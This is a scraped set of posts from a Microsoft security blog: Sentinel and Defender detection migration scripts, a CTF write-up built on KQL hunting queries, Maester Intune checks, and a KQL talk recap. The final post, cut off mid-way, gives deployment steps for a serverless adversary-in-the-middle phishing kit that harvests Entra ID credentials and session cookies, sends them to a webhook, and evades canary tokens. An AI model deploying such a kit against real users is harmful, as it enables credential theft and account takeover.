in the portal, but there is no dedicated table in advanced hunting to monitor the health and performance of Unified Detections. This makes it challenging for security teams to track reliability of their detection rules over time.\nModifications and changes to rules are being audited as part of the CloudAppEvents table in Defender XDR:\nCloudAppEvents | where ActionType in (@\u0026#34;CreateCustomDetection\u0026#34;, @\u0026#34;EditCustomDetection\u0026#34;, @\u0026#34;DeleteCustomDetection\u0026#34;) | extend CustomDetectionRuleName = tostring(RawEventData.RuleName) | extend RuleId = tostring(RawEventData.RuleId) | extend UserID = tostring(RawEventData.UserId) Native Sentinel Data Lake Ingestion for Defender XDR Data # To align with the \u0026lsquo;New Unified Detection Architecture\u0026rsquo; illustrated above, we want to avoid the costly dual ingestion of Defender XDR data into Sentinel for detection purposes. With the new Sentinel Data Lake, we can now natively ingest Defender XDR data into the Sentinel Data Lake and query it directly from there for our Unified Detections. This not only simplifies the architecture but also reduces costs associated with data ingestion and storage in Sentinel.\nMicrosoft announced the native lake ingestion for the following Defender XDR Tables4:\nDefender Workload Table Defender for Endpoint (MDE) DeviceInfo DeviceNetworkInfo DeviceProcessEvents DeviceNetworkEvents DeviceFileEvents DeviceRegistryEvents DeviceLogonEvents DeviceImageLoadEvents DeviceEvents DeviceFileCertificateInfo Defender for Office 365 (MDO) EmailAttachmentInfo EmailEvents EmailPostDeliveryEvents EmailUrlInfo UrlClickEvents Defender for Cloud Apps (MDA) CloudAppEvents But, before switching table tiers from Analytics, we need to ensure, we have migrated all Sentinel Analytics rules to either Defender XDR custom detections or unified detections.\nIdentifying Sentinel Analytics Rules Referencing Defender XDR Tables # With a little help of PowerShell and the Az.Accounts module we can query the ARM API for Sentinel Analytics rules and check which of them are referencing the Defender XDR tables that are now natively ingested into the Sentinel Data Lake, to identify potential candidates for migration to Unified Detections and native lake ingestion:\n# Check for Sentinel Analytics Rules Referencing Defender XDR Tables with Native Lake Ingestion Capabilities # Provide your Sentinel workspace details $subscriptionId = (Get-AzContext).Subscription.Id $resourceGroupName = \u0026#39;\u0026lt;your-sentinel-resource-group\u0026gt;\u0026#39; $workspaceName = \u0026#39;\u0026lt;your-sentinel-workspace-name\u0026gt;\u0026#39; $apiVersion = \u0026#39;2022-11-01-preview\u0026#39; # GA tables for native lake ingestion from Defender XDR $lakeAllowedXdrTables = @( \u0026#34;DeviceInfo\u0026#34;, \u0026#34;DeviceNetworkInfo\u0026#34;, \u0026#34;DeviceProcessEvents\u0026#34;, \u0026#34;DeviceNetworkEvents\u0026#34;, \u0026#34;DeviceFileEvents\u0026#34;, \u0026#34;DeviceRegistryEvents\u0026#34;, \u0026#34;DeviceLogonEvents\u0026#34;, \u0026#34;DeviceImageLoadEvents\u0026#34;, \u0026#34;DeviceEvents\u0026#34;, \u0026#34;DeviceFileCertificateInfo\u0026#34;, \u0026#34;EmailAttachmentInfo\u0026#34;, \u0026#34;EmailEvents\u0026#34;, \u0026#34;EmailPostDeliveryEvents\u0026#34;, \u0026#34;EmailUrlInfo\u0026#34;, \u0026#34;UrlClickEvents\u0026#34;, \u0026#34;CloudAppEvents\u0026#34; ) $regex = \u0026#34;\\b(\u0026#34; + ($lakeAllowedXdrTables -join \u0026#34;|\u0026#34;) + \u0026#34;)\\b\u0026#34; $uri = \u0026#34;https://management.azure.com/subscriptions/{0}/resourceGroups/{1}/providers/Microsoft.OperationalInsights/workspaces/{2}/providers/Microsoft.SecurityInsights/alertRules?api-version={3}\u0026#34; -f $subscriptionId, $resourceGroupName, $workspaceName, $apiVersion $analyticsRules = Invoke-AzRestMethod -Method Get -Uri $uri | Select-Object -ExpandProperty content | ConvertFrom-Json | Select-Object -ExpandProperty value # find analytics rules with reference to data lake allowed tables $analyticsRulesWithLakeAllowedTables = $analyticsRules | ForEach-Object { if ($_.properties.query -match $regex ){ $tableRefs = [regex]::Matches($_.properties.query, $regex).Value -join \u0026#34;, \u0026#34; return [PSCustomObject]@{ RuleName = $_.properties.displayName TableReferences = $tableRefs } } } Write-Output \u0026#34;`Deployed Analytics Rules with reference to Defender XDR Tables:`n\u0026#34; Write-Output $analyticsRulesWithLakeAllowedTables and tadaa, we get a list of all Sentinel Analytics rules that are referencing the Defender XDR tables that can now be natively ingested into the Sentinel Data Lake, which can be potential candidates for migration to Unified Detections and native lake ingestion:\n⚠️ The following dependencies must be manually checked:\nAnalytics Rules leveraging ASIM parsers (_Im_NetworkSession) Sentinel workbook references With that, you are good to go and switch the table tiers for tables without any Sentinel Detections: Furthermore, you can also check your SOC optimization dashboard for additional Sentinel tables with low usage to consider for lake tier change as well: Diving Deeper into Sentinel Data Lake # isLakeAllowed # Interestingly, Microsoft exposes an API property called: isLakeAllowed for all tables, when accessed via the Defender XDR Portal and API Proxy:\nAnd if we are brave enough to ignore the \u0026lsquo;must\u0026rsquo; hint on the Sentinel enabled log analytics workspace and change the tier to \u0026lsquo;Auxiliary\u0026rsquo;: The Defender XDR Portal displays Data Lake as the table tier; despite this table is not yet selectable in the UI: Unfortunately, data is not yet flowing into the Defender for Identity Tables; Probably because they are heavily linked with other sources and dependencies. But Microsoft promised future support already 4.\nA dump of all tables with the isLakeAllowed property is available here: https://github.com/nicolonsky/ITDR/blob/main/Assets/LakeTableSupport.md. But keep in mind, that this property only indicates if the table is allowed for lake ingestion, but does not necessarily mean that the table is currently supported for direct lake ingestion and Microsoft might change that any time.\nConclusion # The introduction of Unified Detections and native Sentinel Data Lake ingestion for Defender XDR data marks a significant step towards a more streamlined and cost-effective security operations architecture. However, as the feature comparison table and some (personally) opinionated examples illustrate, Unified Detections are not yet at feature parity with Sentinel Analytics rules.\nThat said, the direction is clear: Microsoft is investing heavily in unifying the detection experience into Defender XDR. For new detections, especially those leveraging Defender XDR tables, Unified Detections should be the default choice. For existing Sentinel Analytics rules, a phased migration approach makes sense, starting with rules that reference Defender XDR tables to unlock the cost benefits of native lake ingestion.\nWith all those changes related to Unified Security Operations Platform (USOP), Sentinel Data Lake and RBAC changes, it\u0026rsquo;s crucial for security teams and MSSPs to stay informed and adapt their detection strategies accordingly to leverage the full potential of these new capabilities.\nReferences # https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules#microsoft-defender-xdr https://learn.microsoft.com/en-us/azure/sentinel/compare-analytics-rules-custom-detections https://learn.microsoft.com/en-us/defender-xdr/custom-detection-rules?view=o365-worldwide#custom-frequency-for-microsoft-sentinel-data-preview https://techcommunity.microsoft.com/blog/microsoftsentinelblog/data-lake-tier-ingestion-for-microsoft-defender-advanced-hunting-tables-is-now-g/4494206 ","date":"24 February 2026","externalUrl":null,"permalink":"/defender-xdr-unified-detections-sentinel-data-lake/","section":"Posts","summary":"With the Unified Security Operations Platform (USOP), Microsoft introduces Unified Detections - a single detection framework spanning both Sentinel and Defender XDR data. Pair this with native Sentinel Data Lake ingestion for XDR tables, and you have a compelling cost-optimization story. But is it ready for prime time? Let’s dive into the capabilities, current limitations, and what it means for your detection strategy.\nArchitecture Overview # Previous Detection Architecture # In the ‘previous’ architecture, detections were created and managed separately for Microsoft Sentinel and Microsoft Defender XDR. This often led to overhead in terms of ‘where to create the detection’. Let’s take the use-case of IoC (Indicators of Compromise) based detections. Previously, if a security team wanted to create a detection based on IoCs imported via TAXII into Sentinel and the DeviceNetworkEvents table, they would need to ingest the DeviceNetworkEvents data into Sentinel as well and create the detection rule there. Furthermore, many MSSPs leveraged this pattern to create custom detections for their customers across Defender Advanced Hunting Data.\nAs part of the USOP onboarding, the following effects come into play, marked with an asterisk above:\n","title":"Defender XDR Unified Detections Meet Sentinel Data Lake","type":"posts"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"AI","type":"tags"},{"content":"At this year\u0026rsquo;s YellowHat conference in Almere, the Dutch security community had the chance to participate in a Capture The Flag (CTF) competition organized by one of the conference sponsors - Blu Raven. Mehmet from Blu Raven did a great job setting up a CTF with realistic scenarios and datasets, which made it a lot of fun to solve the challenges.\nForeword # Being a big fan of CTFs and digital forensics and incident response (DFIR) in general, I couldn\u0026rsquo;t resist the temptation to participate. After numerous attempts to solve the first challenge and an enlightening tip from a colleague, I made some progress and solved the first 12 challenges.\nTo avoid running out of time, I decided to try something unconventional for the remaining challenges - I used AI to help me solve them. Professor Smoke aka Henning Rauch teased the new Microsoft Fabric Real-Time Intelligence (RTI) capabilities during his talk at YellowHat1, so I thought this would be a great opportunity to test these out in a real-world scenario. Little did I know that the outcome would be surprising!\nPreconditions # Azure Data Explorer # Because the CTF data was stored in an Azure Data Explorer (ADX) cluster, the prerequisite for using the Fabric RTI MCP server was already met, because we can query data in Eventhouse and ADX. Besides that I had already set up GitHub Copilot within Visual Studio Code in agent mode from previous AI ramblings.\nOriginal image source: Microsoft2\nDataset # The actual dataset used in the CTF consisted of Microsoft Defender XDR Advanced Hunting Data, Entra ID Logs and collected Windows Security Events:\nAzure Fabric RTI MCP Server Setup # The setup of Azure Fabric RTI Model Context Protocol (MCP) server is straightforward and well-documented within the Microsoft Fabric RTI MCP GitHub repository. Just make sure to set up the MCP server within your Visual Studio Code MCP Server configuration file (mcp.json) to point to your ADX cluster and database where the CTF data is stored.\n\u0026lsquo;AI Assisted\u0026rsquo; CTF Time # After successfully testing the MCP server connection and making sure it was selected as a tool within GitHub Copilot, I was ready to start solving the remaining CTF challenges with AI assistance.\nMalicious Service Modification # The first flag involved a malicious Windows service modification. While within the DeviceEvents table no service modifications were visible, the adversary had modified the ImagePath of a legitimate service to point to a malicious executable. This was captured by MDE as part of the DeviceRegistryEvents table.\nGitHub Copilot and Fabric RTI made it look so easy, because they spotted the modification right away, besides another service modification, which was used for a later flag:\nFurthermore, it also noticed the typosquatting, which I had overlooked:\nUnder the hood, the following KQL query was submitted:\nDeviceRegistryEvents | where RegistryKey has \u0026#34;Services\u0026#34; | where RegistryValueName == \u0026#34;ImagePath\u0026#34; | where ActionType == \u0026#34;RegistryValueSet\u0026#34; | where RegistryValueData has_any (\u0026#34;cmd.exe\u0026#34;, \u0026#34;powershell.exe\u0026#34;, \u0026#34;wscript.exe\u0026#34;, \u0026#34;cscript.exe\u0026#34;, \u0026#34;rundll32.exe\u0026#34;, \u0026#34;regsvr32.exe\u0026#34;, \u0026#34;mshta.exe\u0026#34;, \u0026#34;\\\\temp\\\\\u0026#34;, \u0026#34;\\\\appdata\\\\\u0026#34;, \u0026#34;\\\\users\\\\\u0026#34;, \u0026#34;WebService\u0026#34;) | project Timestamp, DeviceName, RegistryKey, RegistryValueData, PreviousRegistryValueData, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc Uncovering C2 Communication # Another flag required to identify the command and control (C2) communication initiated from a tampered FileZilla client used by the adversary. Again, Fabric RTI and GitHub Copilot made it easy to identify the suspicious network connections by looking for known C2 patterns in the DeviceNetworkEvents table.\nDue to the context of a previous flag, Copilot extended the query with two notable additions:\nTimestamp filter to only include events after a DLL hijacking took place on the target system InitiatingProcessFileName filter to only include network connections initiated by filezilla.exe, the tampered FileZilla client DeviceNetworkEvents | where DeviceName has \u0026#34;workstation04\u0026#34; | where Timestamp \u0026gt; datetime(2025-12-23T15:44:00Z) | where InitiatingProcessFileName == \u0026#34;filezilla.exe\u0026#34; | where RemoteUrl != \u0026#34;\u0026#34; | project Timestamp, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessSHA1 | sort by Timestamp asc While the suggested answer included both legitimate and malicious domains, it was easy to spot the actual C2 domain used by the adversary:\nData Exfiltration via Archives # As part of the attack, the adversary exfiltrated data and one of the flags was about identifying the folder path which caught the attacker\u0026rsquo;s attention.\nAgain, Copilot and Fabric RTI provided a very accurate KQL query to identify the exfiltrated data by looking for archive creation events within the DeviceFileEvents table:\nDeviceFileEvents | where DeviceName == \u0026#34;srv03.otrf.local\u0026#34; | where ActionType in (\u0026#34;FileCreated\u0026#34;, \u0026#34;FileModified\u0026#34;, \u0026#34;FileRenamed\u0026#34;) | where FileName endswith \u0026#34;.zip\u0026#34; or FileName endswith \u0026#34;.rar\u0026#34; or FileName endswith \u0026#34;.7z\u0026#34; or FileName endswith \u0026#34;.tar\u0026#34; or FileName endswith \u0026#34;.gz\u0026#34; | project Timestamp, DeviceName, ActionType, FolderPath, FileName, FileSize, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName | order by Timestamp desc | take 50 Furthermore, subsequently enriched context information was queried by also checking the DeviceProcessEvents table to identify the full command line used to create the archive.\nConclusion # While first solving half of the flags (12) \u0026lsquo;manually\u0026rsquo;, GitHub Copilot and Fabric RTI helped me to solve the remaining flags (13) in no time. The AI suggestions were surprisingly accurate and context-aware. This brings the use of AI in DFIR to a whole new level, as it can significantly speed up the investigation process.\nAdditional Insights # I used GitHub Copilot with the \u0026lsquo;Auto\u0026rsquo; model selection, while Claude Sonnet 4.5 got selected the most as underlying LLM. One flag required to identify additional suspicious activities by a specific user. While AI detected the malicious mailbox rule creation, it overlooked the fact that the user had also consented to an OAuth application, even after specifically prompting for it. (Unfortunately I forgot to take a screenshot of this one; sorry!) If I remember correctly, out of the 13 flags solved with AI, 9 were solved with the first suggestion, 3 required additional interpretation and prompts due to multiple results and the OAuth app related one wasn\u0026rsquo;t really answered. Personal Note # On a personal note, I believe solving a CTF with AI defeats the purpose of learning and training one\u0026rsquo;s problem-solving and analytical skills. However, it was a fun experiment to see how well AI can assist in solving complex challenges, and it certainly exceeded my expectations!\nDue to the increased velocity I believe the role of AI in DFIR and incident analysis will become more prominent in the near future. For investigators with less KQL or domain-specific knowledge, AI can serve as a valuable learning aid, helping them to understand complex concepts and techniques by providing context-aware suggestions and explanations. For seasoned investigators, AI can act as a force multiplier, automating routine tasks and providing insights that may not be immediately apparent, thus allowing them to focus on more complex aspects of the investigation, and bringing in their expertise about specific platforms, environments and threat actor TTPs.\nReferences # https://github.com/cosh/conferences/blob/main/2026/YellowHat/YellowHat2026.pdf https://learn.microsoft.com/en-us/fabric/real-time-intelligence/mcp-overview https://learn.microsoft.com/en-us/fabric/real-time-intelligence/overview ","date":"16 January 2026","externalUrl":null,"permalink":"/ai-solved-ctf/","section":"Posts","summary":"At this year’s YellowHat conference in Almere, the Dutch security community had the chance to participate in a Capture The Flag (CTF) competition organized by one of the conference sponsors - Blu Raven. Mehmet from Blu Raven did a great job setting up a CTF with realistic scenarios and datasets, which made it a lot of fun to solve the challenges.\nForeword # Being a big fan of CTFs and digital forensics and incident response (DFIR) in general, I couldn’t resist the temptation to participate. After numerous attempts to solve the first challenge and an enlightening tip from a colleague, I made some progress and solved the first 12 challenges.\nTo avoid running out of time, I decided to try something unconventional for the remaining challenges - I used AI to help me solve them. Professor Smoke aka Henning Rauch teased the new Microsoft Fabric Real-Time Intelligence (RTI) capabilities during his talk at YellowHat1, so I thought this would be a great opportunity to test these out in a real-world scenario. Little did I know that the outcome would be surprising!\nPreconditions # Azure Data Explorer # Because the CTF data was stored in an Azure Data Explorer (ADX) cluster, the prerequisite for using the Fabric RTI MCP server was already met, because we can query data in Eventhouse and ADX. Besides that I had already set up GitHub Copilot within Visual Studio Code in agent mode from previous AI ramblings.\n","title":"AI just solved a CTF for me!","type":"posts"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"CTF","type":"tags"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/dfir/","section":"Tags","summary":"","title":"DFIR","type":"tags"},{"content":"","date":"16 January 2026","externalUrl":null,"permalink":"/tags/fabric/","section":"Tags","summary":"","title":"Fabric","type":"tags"},{"content":"Did you know that the maester framework now supports Microsoft Intune checks? In this blog post, I\u0026rsquo;ll give you a quick overview of the new capabilities and how to get started.\nAbout Maester # Maester is an open-source security assessment framework that helps you evaluate the security posture of your Microsoft Entra ID and Microsoft 365 environments. It provides a collection of tests that can be run against your tenant to identify potential misconfigurations and security risks.\nAfter executing the tests, maester generates a detailed report that highlights the findings and provides recommendations for remediation:\nIntune Related Checks # The great thing about maester is that it\u0026rsquo;s highly extensible, allowing you to add custom tests and checks based on your specific requirements. To share some Intune best practices with the community, I contributed a set of Intune related checks to the maester framework.\nThe following Intune checks are now available in maester:\nMT.1090 - Global administrator role should not be added as local administrator on the device during Microsoft Entra join MT.1091 - Registering user should not be added as local administrator on the device during Microsoft Entra join MT.1092 - Intune APNS certificate should be valid for more than 30 days MT.1093 - Apple Automated Device Enrollment Tokens should be valid for more than 30 days MT.1094 - Apple Volume Purchase Program Tokens should be valid for more than 30 days MT.1095 - Android Enterprise account connection should be healthy MT.1096 - Ensure at least one Intune Multi Admin Approval policy is configured MT.1097 - Ensure all Intune Certificate Connectors are healthy and running supported versions MT.1098 - Mobile Threat Defense Connectors should be healthy MT.1099 - Windows Diagnostic Data Processing should be enabled MT.1100 - Intune Diagnostic Settings should include Audit Logs MT.1101 - Default Branding Profile should be customized MT.1102 - Windows Feature Update Policy Settings should not reference end of support builds MT.1103 - Ensure Intune RBAC groups are protected by Restricted Management Administrative Units or Role Assignable groups MT.1105 - Ensure MDM Authority is set to Intune Example # To run the tests you can simply run:\n# Establish connection to Graph Connect-Maester # Establish Connection to Azure for Intune Diagnostic Settings check Connect-AzAccount # Start the assessment Invoke-Maester and it will automatically include the Intune checks. Optionally you can also specify only the Intune checks based on their IDs.\nSome of the checks are more focused around connector health while others focus on Intune service configuration to match security best practices.\nWith that - happy maestering! 🚀\nP.S.: I have already a lot of ideas for more Intune checks, so stay tuned for future updates.\n","date":"4 December 2025","externalUrl":null,"permalink":"/maester-tests-intune/","section":"Posts","summary":"Did you know that the maester framework now supports Microsoft Intune checks? In this blog post, I’ll give you a quick overview of the new capabilities and how to get started.\nAbout Maester # Maester is an open-source security assessment framework that helps you evaluate the security posture of your Microsoft Entra ID and Microsoft 365 environments. It provides a collection of tests that can be run against your tenant to identify potential misconfigurations and security risks.\nAfter executing the tests, maester generates a detailed report that highlights the findings and provides recommendations for remediation:\nIntune Related Checks # The great thing about maester is that it’s highly extensible, allowing you to add custom tests and checks based on your specific requirements. To share some Intune best practices with the community, I contributed a set of Intune related checks to the maester framework.\nThe following Intune checks are now available in maester:\nMT.1090 - Global administrator role should not be added as local administrator on the device during Microsoft Entra join MT.1091 - Registering user should not be added as local administrator on the device during Microsoft Entra join MT.1092 - Intune APNS certificate should be valid for more than 30 days MT.1093 - Apple Automated Device Enrollment Tokens should be valid for more than 30 days MT.1094 - Apple Volume Purchase Program Tokens should be valid for more than 30 days MT.1095 - Android Enterprise account connection should be healthy MT.1096 - Ensure at least one Intune Multi Admin Approval policy is configured MT.1097 - Ensure all Intune Certificate Connectors are healthy and running supported versions MT.1098 - Mobile Threat Defense Connectors should be healthy MT.1099 - Windows Diagnostic Data Processing should be enabled MT.1100 - Intune Diagnostic Settings should include Audit Logs MT.1101 - Default Branding Profile should be customized MT.1102 - Windows Feature Update Policy Settings should not reference end of support builds MT.1103 - Ensure Intune RBAC groups are protected by Restricted Management Administrative Units or Role Assignable groups MT.1105 - Ensure MDM Authority is set to Intune Example # To run the tests you can simply run:\n","title":"Did you hear that maester supports Intune?","type":"posts"},{"content":"","date":"4 December 2025","externalUrl":null,"permalink":"/tags/maester/","section":"Tags","summary":"","title":"Maester","type":"tags"},{"content":"In May I had the pleasure to be invited to the KQL Café which is hosted by Gianni Castaldi \u0026amp; Alex Verboon. Within this format they empower people to work with KQL and share various tips and tricks. So this is not a usual blogpost but rather a summary and resource hub for the things I presented within the KQL Café.\nSummary # To make the content of my talk more accessible, you can find a summary of the individual topics, including the leveraged KQL queries and further resources as part of this post. The KQL queries were mostly consuming the Entra ID Sign-In and Audit Logs. You can forward them to your Microsoft Sentinel or Log Analytics workspace.\nRecording # You can find the full recording of the KQL Café on YoutTube.\nWhat the heck is ITDR?! # Identity Threat Detection and Response (ITDR) is currently one of my favourite topics. It’s basically a combination of the disciplines Identity and Access Management (IAM) and the cyber security disciplines detection and response. Similar to other cybersecurity topics there’s a rule of thumb: The more you invest on the preventive side to increase your identity security posture — the less effort you (hopefully) have on the detection and response side 🤞🤞. Within my talk for the KQL Café I addressed various of those ITDR topics that help you on the preventive side.\nCross Tenant Access # Cross Tenant Access is basically when users in your Entra ID tenant access other tenants as guests or a guest user in your tenant accesses your tenant. Historically, organisations have restricted their inbound access and introduces guest user processes and maybe had a list of organisations that we’re allowed to invite guests from. Thanks to cross tenant access settings in Entra ID we can configure both the in- and outbound access on a granular basis.\nThe Entra ID Sign-In logs deliver us helpful telemetry for cross tenant access. Unfortunately you’ll get only the Tenant ID and not the organisation or domain name. For this purpose you can combine KQL with PowerShell and parse the acquired Tenant IDs from the logs with the Microsoft Graph API.\nQuery and PowerShell code: ITDR/Queries/Entra-Cross-Tenant-Access.md at main · nicolonsky/ITDR (github.com) Microsoft Graph API Ref: tenantRelationship: findTenantInformationByDomainName — Microsoft Graph v1.0 | Microsoft Learn Cross Tenant Access: Cross-tenant access overview — Microsoft Entra External ID | Microsoft Learn Conditional Access # Conditional Access Policy Gaps # Within the Entra ID Sign-In logs we have the ConditionalAccessStatus field, indicating the Conditional Access (CA) policy status. notApplied means no policies applied or that you might have some gaps as part of your CA deployment. Due to service dependencies and bootstrap applications some of those gaps are ‘by design’ but often this is due to lack of ‘all cloud apps’ selection or excluded accounts.\nTo get meaningful results, we can leverage the Sentinel User and Entity Behavior Analytics (UEBA) table and filter out break glass and other accounts.\nKQL Query to identify CA gaps: ITDR/Queries/Entra-Conditional-Access-Not-Applied.md at main · nicolonsky/ITDR (github.com) Excellent Microsoft 425 show explaining bootstrap apps: https://www.youtube.com/watch?v=HylR3JLUtMs More KQL and CA: Conditional Access insights and reporting workbook — Microsoft Entra ID | Microsoft Learn Conditional Access Report Only Telemetry # Personally, I’d never approach a Conditional Access deployment without Log Analytics to first collect telemetry before enabling Conditional Access policies or making bigger changes to policies in production. With KQL we can leverage the CA policy processing result also for policies in report only mode to predict the impact.\nThe Sign-In logs contain the CA policy status for each policy in scope and allow us to predict the impact. From a KQL perspective this is also an interesting scenario as the ConditionalAccessPolicies column is a dynamic property holding an array of processed CA policies. mv-expand maps each CA policy into a new entry, allowing us to easily filter for all failed policies.\nKQL Query: ITDR/Queries/Entra-Conditional-Access-Failure-By-Policy.md at main · nicolonsky/ITDR (github.com) Conditional Access Policies Log Ingestion # Although the Conditional Access status can aid with troubleshooting and operations of CA, this can be an unexpected driver for ingestion costs, especially if you deploy a high amount of conditional access policies in your environment.\nThe following KQL query visualises the data amount for the CA status in MB or GB:\nlet lookback = 360d; union SigninLogs, AADNonInteractiveUserSignInLogs | where TimeGenerated \u0026gt; ago(lookback) | extend size = estimate_data_size(ConditionalAccessPolicies_string) | extend ingestedKB = toreal(size)/1024. | extend ingestedMB = toreal(ingestedKB)/1024 | extend ingestedGB = toreal(ingestedMB)/1024 | summarize CASize=sum(ingestedMB) by bin(TimeGenerated, 1d) | render columnchart To save some buck$ you can setup a transformation rule to project-away this information or even create a dedicated table or only retain specific policies.\nAdditional information: Custom data ingestion and transformation in Microsoft Sentinel | Microsoft Learn\nEntra ID Device Attribute Tracking # Let’s leave the beast of Conditional Access behind us and focus on a challenge where some Entra ID device attributes were missing from the Entra ID audit logs. To circumvent this gap, I leveraged a dynamic restricted management administrative unit for the particular enrollmentProfile attribute and monitored the administrative unit for changes with KQL.\nKQL Query: ITDR/Queries/Entra-Restricted-Administrative-Unit-Device-Added.md at main · nicolonsky/ITDR (github.com) Administrative Units: Restricted management administrative units in Microsoft Entra ID (Preview) — Microsoft Entra ID | Microsoft Learn Entra ID \u0026amp; Passkeys # Last but not least let’s tackle one of the latest and greates innovations of Entra ID — the public preview of passkeys. The FIDO alliance publishes a metadata service blob containing information about FIDO2 certified keys including their attestation guid and model information. This makes it a perfect scenario for the externaldata operator.\nFIDO alliance MDS blob: https://fidoalliance.org/metadata KQL query for enrichment: ITDR/Queries/Entra-Passkey-Registration.md at main · nicolonsky/ITDR (github.com) Dedicated blog post to this topic: Have you heard about passkeys and AAGuids? | by Nicola | Medium Ciao and enjoy your Coffee # Thanks Gianni and Alex for having me and all the positive responses I got for my session. I’ll definitely enjoy the next occurrences of the KQL Café and maybe come back with a bag full of beans or new KQL skills ☕️😉.\n// Nicola\nP.S.: I’m adding new KQL queries and ITDR resources to my GitHub repository so don’t forget to leave a ⭐️.\n","date":"1 July 2024","externalUrl":null,"permalink":"/mai-2024-kql-cafe-recap/","section":"Posts","summary":"In May I had the pleasure to be invited to the KQL Café which is hosted by Gianni Castaldi \u0026 Alex Verboon. Within this format they empower people to work with KQL and share various tips and tricks. So this is not a usual blogpost but rather a summary and resource hub for the things I presented within the KQL Café.\nSummary # To make the content of my talk more accessible, you can find a summary of the individual topics, including the leveraged KQL queries and further resources as part of this post. The KQL queries were mostly consuming the Entra ID Sign-In and Audit Logs. You can forward them to your Microsoft Sentinel or Log Analytics workspace.\nRecording # You can find the full recording of the KQL Café on YoutTube.\nWhat the heck is ITDR?! # Identity Threat Detection and Response (ITDR) is currently one of my favourite topics. It’s basically a combination of the disciplines Identity and Access Management (IAM) and the cyber security disciplines detection and response. Similar to other cybersecurity topics there’s a rule of thumb: The more you invest on the preventive side to increase your identity security posture — the less effort you (hopefully) have on the detection and response side 🤞🤞. Within my talk for the KQL Café I addressed various of those ITDR topics that help you on the preventive side.\n","title":"Mai 2024 KQL Café Recap","type":"posts"},{"content":"","date":"1 July 2024","externalUrl":null,"permalink":"/tags/talk/","section":"Tags","summary":"","title":"Talk","type":"tags"},{"content":"","date":"1 April 2024","externalUrl":null,"permalink":"/tags/aitm/","section":"Tags","summary":"","title":"AiTM","type":"tags"},{"content":" Recently I stumbled over a nice post from Wesly Neelen who built an AiTM phishing toolkit based on a cloudflare worker. Although ‘prooven’ AitM phishing toolkits such as evilginx provide more capabilities in terms of flexibility and robustness I wanted to setup my own phishing toolkit that runs serverless on Azure — based on Azure Functions to phish some Entra ID credentials and cookies.\nAdvantages of serverless phishing toolkits # Serverless platform solutions such as Cloudflare workers, AWS lambda and Azure functions provide some advantages to phishing toolkits that are server-based:\nNo Infrastructure as a Service (IaaS) resources like virtual machines and public IP addresses are required, this allows faster deployments, easier scaling and comes with low costs Serverless platforms often have pooled outbound IP addresses that are dynamically assigned by the cloud provider No DNS domain name or name server entries are required as the cloud provider assigns URLs to the serverless functions As the domain names, IP addresses and certificates are issued and managed by the cloud provider, this goes usually hand-in-hand with better reputation Let’s do AiTM Phishing with Azure Functions # Demo # The following demo provides a quick overview about the Azure AiTM Function and the replay of the cookies in an incognito browser window:\nThe function app code and cookie converter is available here: nicolonsky/AzureAiTMFunction.\nDeployment # The deployment includes the provisioning of the function app via Azure portal:\nSelect a subscription and resource group Select a unique (fancy) name — this will be the URL used to phish users. It is also possible to change this later to a domain name you already own. Select Node.js as Runtime stack Select the Azure region Select Linux as OS Choose the tier: consumption based is sufficient These configuration options are already sufficient — further customizations aren’t required for this PoC.\nThe deployment will create the following Azure resources which are the de-facto standard for function apps:\nStorage account App service plan Function app Application Insights To configure all other things related to routing of all traffic to the function app and the function app itself we can use the Azure Function extension with VS code. Find detailed instructions within the Microsoft article: Develop Azure Functions by using Visual Studio Code | Microsoft Learn.\nClone or download the nicolonsky/AzureAiTMFunction (github.com) repository Open the repository and select deploy to azure from the function app extensions workspace section by clicking on the Azure function icon Select the subscription and function app to perform the deployment to Optionally add an environment variable called TEAMS_WEBHOOK_URI that contains a teams incoming webhook to send acquired credentials and cookies to the function’s application settings: In the portal the function app should now contain the deployed function and you can acquire the function URL and visit the phishing page:\nLocal Development # You can also run the function app locally with the Visual Studio Code function extension. This might be interesting for setting up a ‘local’ phishing kit, demoing and of course developing and making changes to the toolkit:\nTo configure local environment variables, e.g. for the teams webhook, add them within the local.settings.json file_._\nBonus # We now have an Azure function app that can be used for AiTM phishing — but let’s dig a little bit more into the possibilities.\nDefeating and Defense Evasion of Canary Tokens # Canary tokens provide a simple but effective measure to detect AiTM phishing attacks because the web-page is not loaded under the expected URL. https://www.canarytokens.org provides free canary tokens and a prebuilt token type for Entra ID sign-in pages:\nAfter integrating the canary token into the Entra ID company branding and re-visiting the Azure AiTM Function website with one of my user accounts, the canary token get’s immediately triggered:\nThe canary token itself is injected into the Entra Sign-In page as an inline stylesheet as soon as the e-mail matches an Entra ID account. If you look closely, you can see that it includes a custom selector called customCssStyle:\nThe URL is coded into a javascript config array and delivered initially as response together with the company branding:\n// Truncated JSON response that contains the tenant branding { \u0026#34;Username\u0026#34;: \u0026#34;alexw@dev.nicolasuter.ch\u0026#34;, \u0026#34;Display\u0026#34;: \u0026#34;alexw@dev.nicolasuter.ch\u0026#34;, \u0026#34;EstsProperties\u0026#34;: { \u0026#34;UserTenantBranding\u0026#34;: \\[ { \u0026#34;Illustration\u0026#34;: \u0026#34;https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/illustration?ts=638065368783987955\u0026#34;, \u0026#34;BackgroundColor\u0026#34;: \u0026#34;#000000\u0026#34;, \u0026#34;BoilerPlateText\u0026#34;: \u0026#34;\u0026lt;p\u0026gt;Welcome and happy development.\u0026lt;/p\u0026gt;\\\\n\u0026lt;p\u0026gt;\u0026lt;a href=\\\\\u0026#34;https://tech.nicolonsky.ch\\\\\u0026#34; rel=\\\\\u0026#34;noopener noreferrer\\\\\u0026#34; target=\\\\\u0026#34;\\_blank\\\\\u0026#34;\u0026gt;Azure AD terms of use\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\\\\n\u0026#34;, \u0026#34;CustomizationFiles\u0026#34;: { // This URL contains the custom CSS being injected \u0026#34;customCssUrl\u0026#34;: 